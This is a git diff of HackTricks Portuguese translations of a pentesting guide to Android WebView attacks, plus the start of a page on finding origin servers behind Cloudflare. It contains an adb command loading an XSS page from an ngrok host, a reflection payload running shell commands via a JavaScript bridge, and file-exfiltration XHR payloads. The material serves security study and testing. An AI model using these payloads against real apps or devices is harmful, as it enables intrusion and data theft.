Translated ['mobile-pentesting/android-app-pentesting/webview-attacks.md

This commit is contained in:
Translator 2023-10-27 15:54:27 +00:00
parent da318b8927
commit 4d5c2a8bd8
7 changed files with 431 additions and 105 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 125 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 209 KiB

View file

@ -585,7 +585,7 @@
* [LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure](pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
* [File Upload](pentesting-web/file-upload/README.md)
* [PDF Upload - XXE and CORS bypass](pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md)
* [Formula/CSV/Doc/LaTeX Injection](pentesting-web/formula-doc-latex-injection.md)
* [Formula/CSV/Doc/LaTeX/GhostScript Injection](pentesting-web/formula-csv-doc-latex-ghostscript-injection.md)
* [HTTP Connection Contamination](pentesting-web/http-connection-contamination.md)
* [HTTP Connection Request Smuggling](pentesting-web/http-connection-request-smuggling.md)
* [HTTP Request Smuggling / HTTP Desync Attack](pentesting-web/http-request-smuggling/README.md)

View file

@ -1,75 +1,108 @@
# Configurações Interessantes
# Ataques ao WebView
## Acesso a Arquivos
<details>
O acesso a arquivos do _WebView_ está habilitado por padrão. Desde a API 3 (Cupcake 1.5), o método [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) está disponível para habilitá-lo ou desabilitá-lo explicitamente.\
Se o aplicativo tiver _**android.permission.READ\_EXTERNAL\_STORAGE**_, ele poderá ler e carregar arquivos **do armazenamento externo**.\
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Configurações Interessantes
Você pode identificar um WebView exposto assim:
<figure><img src="../../.gitbook/assets/image (718).png" alt=""><figcaption></figcaption></figure>
### Acesso a Arquivos
O acesso a arquivos do _WebView_ está habilitado por padrão. Desde a API 3 (Cupcake 1.5), o método [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) está disponível para habilitar ou desabilitar explicitamente.\
Se o aplicativo tiver a permissão \_**android.permission.READ\_EXTERNAL\_STORAGE** \_, ele poderá ler e carregar arquivos **do armazenamento externo**.\
O _WebView_ precisa usar um esquema de URL de arquivo, por exemplo, `file://path/file`, para acessar o arquivo.
### Acesso Universal a partir de URL de Arquivo (Descontinuado)
#### Acesso Universal a partir de URL de Arquivo (Descontinuado)
> Define se as solicitações **cross-origin** no **contexto de uma URL de esquema de arquivo** devem ser permitidas a acessar **conteúdo de qualquer origem**. Isso inclui **acesso a conteúdo de outras URLs de esquema de arquivo ou contextos da web.** Observe que alguns acessos, como elementos HTML de imagem, não seguem as regras de mesma origem e não são afetados por essa configuração.
> Define se as **solicitações entre origens** no **contexto de um URL de esquema de arquivo** devem ser permitidas a acessar **conteúdo de qualquer origem**. Isso inclui **acesso a conteúdo de outros URLs de esquema de arquivo ou contextos da web.** Observe que alguns acessos, como elementos HTML de imagem, não seguem as regras de mesma origem e não são afetados por essa configuração.
>
> **Não** habilite essa configuração se você abrir arquivos que possam ser criados ou alterados por fontes externas. Habilitar essa configuração permite que scripts maliciosos carregados em um contexto `file://` lancem ataques de script entre sites, acessando **arquivos locais arbitrários**, incluindo cookies do WebView, dados privados do aplicativo ou até mesmo credenciais usadas em sites da web arbitrários.
Em resumo, isso **impedirá o carregamento de Origens arbitrárias**. O aplicativo enviará a solicitação de URL para carregar o conteúdo com **`Origin: file://`** se a resposta não permitir essa origem (**`Access-Control-Allow-Origin: file://`**), o conteúdo não será carregado.\
Em resumo, isso **impedirá o carregamento de Origens arbitrárias**. O aplicativo enviará a solicitação de URL para carregar o conteúdo com **`Origin: file://`** se a resposta não permitir essa origem (**`Access-Control-Allow-Origin: file://`**), então o conteúdo não será carregado.\
O **valor padrão é `false`** ao direcionar [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) e acima.
* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) para saber se o JavaScript em execução no contexto de uma URL de esquema de arquivo pode acessar conteúdo de qualquer origem (se o UniversalAccessFromFileURL estiver habilitado).
* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) para saber se o JavaScript em execução no contexto de um URL de esquema de arquivo pode acessar conteúdo de qualquer origem (se o UniversalAccessFromFileURL estiver habilitado).
* Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) para habilitar/desabilitar.
{% hint style="info" %}
Usar **`loadDataWithBaseURL()`** com `null` como baseURL também **impedirá o carregamento de arquivos locais**, mesmo se todas as configurações perigosas estiverem habilitadas.
{% endhint %}
### Acesso a Arquivos a partir de URLs de Arquivo (Descontinuado) <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
#### Acesso a Arquivos a partir de URLs de Arquivo (Descontinuado) <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
> Define se as solicitações **cross-origin** no **contexto de uma URL de esquema de arquivo** devem ser permitidas a acessar conteúdo de outras URLs de esquema de arquivo. Observe que alguns acessos, como elementos HTML de imagem, não seguem as regras de mesma origem e não são afetados por essa configuração.
> Define se as solicitações entre origens no contexto de um URL de esquema de arquivo devem ser permitidas a acessar conteúdo de outros URLs de esquema de arquivo. Observe que alguns acessos, como elementos HTML de imagem, não seguem as regras de mesma origem e não são afetados por essa configuração.
>
> **Não** habilite essa configuração se você abrir arquivos que possam ser criados ou alterados por fontes externas. Habilitar essa configuração permite que scripts maliciosos carregados em um contexto `file://` acessem arquivos locais arbitrários, incluindo cookies do WebView e dados privados do aplicativo.
Em resumo, isso impede que o JavaScript acesse arquivos locais via protocolo `file://`.\
Observe que **o valor dessa configuração é ignorado** se o valor de [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) for `true`. \
Em resumo, isso impede que o javascript acesse arquivos locais via protocolo `file://`.\
Observe que **o valor dessa configuração é ignorado** se o valor de [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) for `true`.\
O **valor padrão é `false`** ao direcionar [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) e acima.
* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) para saber se o JavaScript está em execução no contexto de uma URL de esquema de arquivo pode acessar conteúdo de outras URLs de esquema de arquivo.
* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) para saber se o JavaScript está em execução no contexto de um URL de esquema de arquivo pode acessar conteúdo de outros URLs de esquema de arquivo.
* Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\)) para habilitar/desabilitar.
#### Acesso a Arquivos
### Acesso a Arquivo
> Habilita ou desabilita o **acesso a arquivos dentro do WebView**. Observe que isso habilita ou desabilita o acesso ao sistema de arquivos apenas. Ativos e recursos ainda são acessíveis usando file:///android\_asset e file:///android\_res.
> Habilita ou desabilita o **acesso a arquivos dentro do WebView**. Observe que isso habilita ou desabilita apenas o acesso ao sistema de arquivos. Ativos e recursos ainda são acessíveis usando file:///android\_asset e file:///android\_res.
Em resumo, se desabilitado, o WebView não poderá carregar um arquivo local com o protocolo `file://`.\
O **valor padrão é `false`** ao direcionar [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) e acima.
O **valor padrão é `false`** ao direcionar [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) e superior.
* Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) para saber se a configuração está habilitada.
* Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) para habilitar/desabilitar.
### WebViewAssetLoader
#### WebViewAssetLoader
> Classe auxiliar para carregar arquivos locais, incluindo ativos estáticos e recursos do aplicativo, usando URLs http(s):// dentro de uma classe [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html). Carregar arquivos locais usando URLs semelhantes à web em vez de `"file://"` é desejável, pois é compatível com a política de mesma origem.
Esta é a nova maneira recomendada de carregar arquivos locais. O objetivo é **acessar arquivos locais usando um URL HTTP com o domínio**. Dessa forma, o **CORS** pode ser **facilmente** mantido entre as **páginas** da web **locais** e as **páginas** da web que são baixadas do servidor da web.
Esta é a nova maneira recomendada de carregar arquivos locais. O objetivo é **acessar arquivos locais usando um URL HTTP com o domínio**. Dessa forma, a **CORS** pode ser **facilmente** mantida entre as **páginas web** **locais** e as **páginas web** que são baixadas do servidor web.
## Javascript Habilitado
### Javascript Habilitado
Os WebViews têm o Javascript **desabilitado por padrão**. O método [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) pode habilitá-lo ou desabilitá-lo explicitamente. \
Observe que os webviews também podem suportar o **esquema de intenção** que permite disparar outros aplicativos. Leia este [artigo para descobrir como ir de XSS para RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
Os WebViews têm o Javascript **desabilitado por padrão**. O método [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) pode habilitá-lo ou desabilitá-lo explicitamente.\
Observe que os webviews também podem suportar o **esquema de intenção** que permite abrir outros aplicativos. Leia este [artigo para saber como ir de XSS para RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
## Ponte Javascript
Aqui está um exemplo de um webview exposto vulnerável a XSS por meio do parâmetro "support\_url" (que pode indicar a URL a ser carregada no webview):
O Android oferece uma maneira para o JavaScript executado em um WebView chamar e usar **funções nativas de um aplicativo Android** (anotadas com `@JavascriptInterface`) usando o método [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29). Isso é conhecido como _WebView JavaScript bridge_ ou _native bridge_.
<figure><img src="../../.gitbook/assets/image (719).png" alt="" width="563"><figcaption></figcaption></figure>
Observe que **quando você usa `addJavascriptInterface`, está concedendo explicitamente acesso ao objeto de Interface JavaScript registrado a todas as páginas carregadas dentro desse WebView**. Isso implica que, se o usuário navegar fora do seu aplicativo ou domínio, todas as outras páginas externas também terão acesso a esses objetos de Interface JavaScript, o que pode
É possível explorar essa vulnerabilidade pelo adb com algo como:
{% code overflow="wrap" %}
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"
```
{% endcode %}
### Ponte de JavaScript
O Android oferece uma maneira para o JavaScript executado em um WebView chamar e usar **funções nativas de um aplicativo Android** (anotadas com `@JavascriptInterface`) usando o método [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29). Isso é conhecido como uma _ponte de JavaScript WebView_ ou _ponte nativa_.
Por favor, observe que **quando você usa `addJavascriptInterface`, você está concedendo explicitamente acesso ao objeto de Interface JavaScript registrado para todas as páginas carregadas dentro desse WebView**. Isso implica que, se o usuário navegar para fora do seu aplicativo ou domínio, todas as outras páginas externas também terão acesso a esses objetos de Interface JavaScript, o que pode representar um risco de segurança potencial se algum dado sensível estiver sendo exposto por meio dessas interfaces.
> Aviso: Tenha extrema cautela com aplicativos direcionados para versões do Android abaixo do Android 4.2 (API level 17), pois eles são [vulneráveis a uma falha](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) na implementação do `addJavascriptInterface`: um ataque que abusa da reflexão, o que leva à execução remota de código quando JavaScript malicioso é injetado em um WebView. Isso ocorreu devido a todos os métodos de objetos Java serem acessíveis por padrão (em vez de apenas aqueles anotados).
#### Análise Estática
```javascript
//Class with a method to access a secret
public class JavascriptBridge {
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
}
```
@ -83,94 +116,106 @@ webView.reload();
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>
```
Com acesso ao código JavaScript, por exemplo, por meio de um ataque **XSS** armazenado, ataque **MITM** ou um **site malicioso** que é carregado dentro do WebView, é possível chamar diretamente os métodos Java expostos.
Com acesso ao código JavaScript, por exemplo, através de um ataque **XSS** armazenado, ataque **MITM** ou um **site malicioso** que é carregado dentro do WebView, é possível chamar diretamente os métodos Java expostos.
{% hint style="info" %}
Observe que, no caso de tentar explorar essa vulnerabilidade por meio de um **Redirecionamento Aberto para uma página da web do atacante que acessa o Objeto Android Nativo**. Se o acesso à redirecionamento for feito por meio de um **navegador móvel** e **não usando** o mesmo **WebView**, o **navegador não poderá acessar o objeto Android nativo**.
Observe que, no caso de tentar explorar essa vulnerabilidade através de um **Redirecionamento Aberto para uma página da web do atacante que acessa o Objeto Nativo Android**. Se o acesso ao redirecionamento for feito por meio de um **navegador móvel** e **não usando** o mesmo WebView, o **navegador não poderá acessar o objeto nativo Android**.
{% endhint %}
Se `addJavascriptInterface` for necessário, leve em consideração o seguinte:
* **Somente o JavaScript fornecido** com o APK deve ser permitido a usar as pontes, por exemplo, verificando a URL em cada método Java conectado (por meio de `WebView.getUrl`).
* Somente o JavaScript fornecido com o APK deve ser permitido a usar as bridges, por exemplo, verificando a URL em cada método Java conectado (via `WebView.getUrl`).
* **Nenhum JavaScript deve ser carregado de endpoints remotos**, por exemplo, mantendo a navegação da página dentro dos domínios do aplicativo e abrindo todos os outros domínios no navegador padrão (por exemplo, Chrome, Firefox).
* Se necessário por motivos de legado (por exemplo, ter que suportar dispositivos mais antigos), **defina pelo menos o nível mínimo de API para 17** no arquivo manifesto do aplicativo (`<uses-sdk android:minSdkVersion="17" />`).
* Se necessário por motivos de compatibilidade (por exemplo, ter que suportar dispositivos mais antigos), **defina pelo menos o nível mínimo de API para 17** no arquivo manifesto do aplicativo (`<uses-sdk android:minSdkVersion="17" />`).
## Ponte JavaScript para RCE via Reflexão
### Ponte de JavaScript para RCE via Reflexão
Conforme observado nesta [**pesquisa**](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/) (_verifique-a para obter ideias caso obtenha RCE_), uma vez que você encontrou uma JavascriptBridge, é possível obter **RCE** via **Reflexão** usando uma carga útil como a seguinte:
Conforme observado nesta [**pesquisa**](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/) (_verifique para obter ideias caso obtenha RCE_), uma vez que você encontrou uma JavascriptBridge, é possível obter **RCE** via **Reflexão** usando um payload como o seguinte:
```markup
<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>
```
No entanto, aplicativos modernos podem usar a **anotação `@JavascriptInterface`** que indica à **JavascriptBridge** que somente o método com essa anotação deve ser **exposto**.\
Nesse cenário, você não poderá abusar da **Reflection** para executar código arbitrário.
No entanto, aplicativos modernos podem usar a anotação **`@JavascriptInterface`** que indica à JavascriptBridge que apenas o método com essa anotação deve ser exposto.\
Nesse cenário, você não poderá abusar da Reflexão para executar código arbitrário.
## Depuração Remota
### Depuração Remota
A **depuração remota do WebView** permite acessar o WebView com as **Ferramentas de Desenvolvedor do Chrome**.\
O **dispositivo** precisa ser **acessível** pelo PC (via USB, emulador local, rede local...) e estar executando o WebView depurável, em seguida, acesse **chrome://inspect/#devices**:
O dispositivo precisa ser acessível pelo PC (via USB, emulador local, rede local...) e estar executando o WebView com depuração ativada, em seguida, acesse **chrome://inspect/#devices**:
![](<../../.gitbook/assets/image (525).png>)
Selecione **inspecionar** e uma nova janela será aberta. Nesta janela, você pode **interagir com o conteúdo** do **WebView** e até mesmo fazer com que ele **execute código JS arbitrário** na guia **console**:
Selecione **inspecionar** e uma nova janela será aberta. Nesta janela, você pode **interagir com o conteúdo** do WebView e até mesmo fazer com que ele execute código JS arbitrário a partir da guia **console**:
![](<../../.gitbook/assets/image (526).png>)
Para habilitar a **Depuração Remota do WebView**, você pode fazer algo como:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
WebView.setWebContentsDebuggingEnabled(true);
}
```
**Essa configuração se aplica a todos os WebViews do aplicativo.**
{% hint style="info" %}
**A depuração do WebView não é afetada pelo estado do sinalizador `debuggable`** no manifesto do aplicativo. Se você deseja habilitar a depuração do WebView somente quando `debuggable` for `true`, teste o sinalizador em tempo de execução.
**A depuração do WebView não é afetada pelo estado da flag `debuggable`** no manifesto do aplicativo. Se você deseja habilitar a depuração do WebView apenas quando `debuggable` for `true`, teste a flag em tempo de execução.
{% endhint %}
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
# Cargas úteis
## Cargas úteis
## Exfiltrar arquivos arbitrários
### Exfiltrar arquivos arbitrários
Para exfiltrar arquivos arbitrários de um aplicativo Android que utiliza WebView, você pode usar a seguinte carga útil:
```javascript
var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///path/to/file', true);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var fileContent = xhr.responseText;
// Faça algo com o conteúdo do arquivo
}
};
xhr.send();
```
Substitua `file:///path/to/file` pelo caminho absoluto do arquivo que você deseja exfiltrar. Depois de executar o código, o conteúdo do arquivo será retornado na variável `fileContent`, permitindo que você faça o que quiser com ele.
Lembre-se de que essa técnica só funcionará se o aplicativo permitir o acesso a arquivos locais por meio do WebView.
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
# Referências
## Referências
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -4,38 +4,38 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Técnicas para tentar descobrir servidores web por trás do Cloudflare:
Técnicas para tentar descobrir servidores web por trás do CloudFlare:
### Técnicas
* Você também pode usar algum serviço que lhe dê os **registros históricos do DNS** do domínio. Talvez a página da web esteja sendo executada em um endereço IP usado anteriormente.
* O mesmo pode ser alcançado **verificando os certificados SSL históricos** que podem estar apontando para o endereço IP de origem.
* Verifique também **registros DNS de outros subdomínios apontando diretamente para IPs**, pois é possível que outros subdomínios estejam apontando para o mesmo servidor (talvez para oferecer FTP, e-mail ou qualquer outro serviço).
* Você também pode usar algum serviço que forneça os **registros históricos de DNS** do domínio. Talvez a página da web esteja sendo executada em um endereço IP usado anteriormente.
* O mesmo pode ser alcançado **verificando os certificados SSL históricos** que podem estar apontando para o endereço IP de origem.
* Verifique também os **registros DNS de outros subdomínios que apontam diretamente para IPs**, pois é possível que outros subdomínios estejam apontando para o mesmo servidor (talvez para oferecer FTP, e-mail ou qualquer outro serviço).
* Se você encontrar um **SSRF dentro da aplicação web**, pode abusar dele para obter o endereço IP do servidor.
*
Procure uma string única da página da web em navegadores como shodan (e talvez google e similares?). Talvez você possa encontrar um endereço IP com esse conteúdo.
Procure uma string única da página da web em navegadores como shodan (e talvez google e similares?). Talvez você possa encontrar um endereço IP com esse conteúdo.
* De maneira semelhante, em vez de procurar uma string exclusiva, você pode procurar pelo ícone favicon com a ferramenta: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) ou com [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
* Isso não funcionará com muita frequência porque o servidor deve enviar a mesma resposta quando é acessado pelo endereço IP, mas você nunca sabe.
* De maneira semelhante, em vez de procurar uma string única, você pode procurar pelo ícone do favicon com a ferramenta: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) ou com [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
* Isso não funcionará com muita frequência porque o servidor deve enviar a mesma resposta quando acessado pelo endereço IP, mas nunca se sabe.
### Ferramentas
* Procure o domínio em [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) ou [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Ou use a ferramenta [CloudPeler](https://github.com/zidansec/CloudPeler) (que usa essa API)
* Procure o domínio em [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
* [**CloudFlair**](https://github.com/christophetd/CloudFlair) é uma ferramenta que procurará usando certificados Censys que contenham o nome de domínio, em seguida, procurará por IPv4s dentro desses certificados e, finalmente, tentará acessar a página da web nesses IPs.
* [**CloudFlair**](https://github.com/christophetd/CloudFlair) é uma ferramenta que pesquisará usando certificados Censys que contenham o nome de domínio, em seguida, procurará por IPv4s dentro desses certificados e, finalmente, tentará acessar a página da web nesses IPs.
* [Censys](https://search.censys.io/)
* [Shodan](https://shodan.io/)
* [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)
* Se você tiver um conjunto de IPs potenciais onde a página da web está localizada, pode usar [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder)
* Se você tiver um conjunto de IPs potenciais onde a página da web está localizada, você pode usar [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder)
```bash
# You can check if the tool is working with
prips 1.0.0.0/30 | hakoriginfinder -h one.one.one.one
@ -44,14 +44,14 @@ prips 1.0.0.0/30 | hakoriginfinder -h one.one.one.one
## web page inside the EC2 IPs
DOMAIN=something.com
WIDE_REGION=us
